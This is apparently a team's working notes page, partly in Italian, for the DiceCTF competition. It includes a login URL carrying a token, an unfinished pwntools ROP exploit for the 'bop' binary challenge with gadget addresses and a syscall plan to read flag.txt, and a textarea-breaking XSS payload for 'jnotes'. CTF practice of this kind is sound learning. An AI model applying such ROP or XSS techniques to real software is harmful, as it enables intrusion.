---
# System prepended metadata

title: Dice CTF

---

# Dice CTF

- https://ctf.dicega.ng/login?token=MJWUS5r1%2FLbJlYAIqXV9gOL51rpW4GqGZv2kdCpvSniLziTQtf4Dv41GSteXI0pLWA9s5zR1jnvwz8yTrV9K9fsEafslVbWfOtCyh%2B0WF6IzKdQrm1dhedYJVpsg
- https://ctf.dicega.ng/
---

### Status:
| Players | Challenge | Status  |
|:-------:|:---------:|:-------:|
| DomySh  |  pwn/bop  | pause (per dettagli contattatemi) |
| salvatore| web/recursive-csp| started |
| salvatore| web/jnotes| started |

---

# Notes:

## bop

```python
#!/usr/bin/env python3

from pwn import *

exe = ELF("./bop_patched")
#libc = ELF("./libc.so.6")
#ld = ELF("./ld-2.31.so")

context.binary = exe
context.terminal = ["tmux", "splitw", "-h"]

"""

0x00000000004013d1: pop rsi; pop r15; ret;  
0x000000000040118c: jmp rax;
mov edi, 0x404068; jmp rax;

0x0040117d; rax = 0
rsi = 0b1000 => 0x004011ac == (rax = 1)


LIBC
0x00000000000610a9: cmp eax, 0x18d6a2; syscall;
compatible to [0x404040] gets@GLIBC_2.2.5  →  0x7ffff7e36970

1. Scrivere sull'heap flag.txt (tramite gets)
2. Scrivere sulla GOT di gets il possibile syscall in libc (tramite gets)
3. open( rax=2, rdi=heap, rsi=0, rdx=0) => fd = 3
4. read( rax=0, rdi=3, rsi=heap, rdx=0x10) => heap = flag
5. write( rax=1, rdi=1, rsi=heap, rdx=0x10) => print flag
"""

r = process(exe.path)
gdb.attach(r)
input("wait")
#40+8
WRITE_SPACE = 0x00000000404500
pop_rdi = 0x00000000004013d3# pop rdi; ret;
gets = 0x404040  

rop_chain_pt1 = [
    pop_rdi,
    WRITE_SPACE,
    gets,
]

rop_chain_pt2 = [
    
]


r.sendline(b"A"*40+b"".join([p64(ele) for ele in rop_chain_pt1])+b"flag.txt\x00\n"+b"".join([p64(ele) for ele in rop_chain_pt1]))
r.interactive()

"""
**************************************************************
*                          FUNCTION                          *
**************************************************************
                        undefined FUN_004011a0()
        undefined         AL:1           <RETURN>
                        FUN_004011a0                                    XREF[1]:     thunk_FUN_004011a0:00401210(T), 
                                                                                    thunk_FUN_004011a0:00401214(c)  
004011a0 be 68 40        MOV        ESI,0x404068
            40 00
004011a5 48 81 ee        SUB        RSI,0x404068
            68 40 40 00
004011ac 48 89 f0        MOV        RAX,RSI
004011af 48 c1 ee 3f     SHR        RSI,0x3f
004011b3 48 c1 f8 03     SAR        RAX,0x3
004011b7 48 01 c6        ADD        RSI,RAX
004011ba 48 d1 fe        SAR        RSI,0x1
004011bd 74 11           JZ         LAB_004011d0


    
"""

```

## recursive-csp
https://recursive-csp.mc.ax/?source


## jnotes
Payload:
`</textarea><script>alert(1)</script>`

Da finire

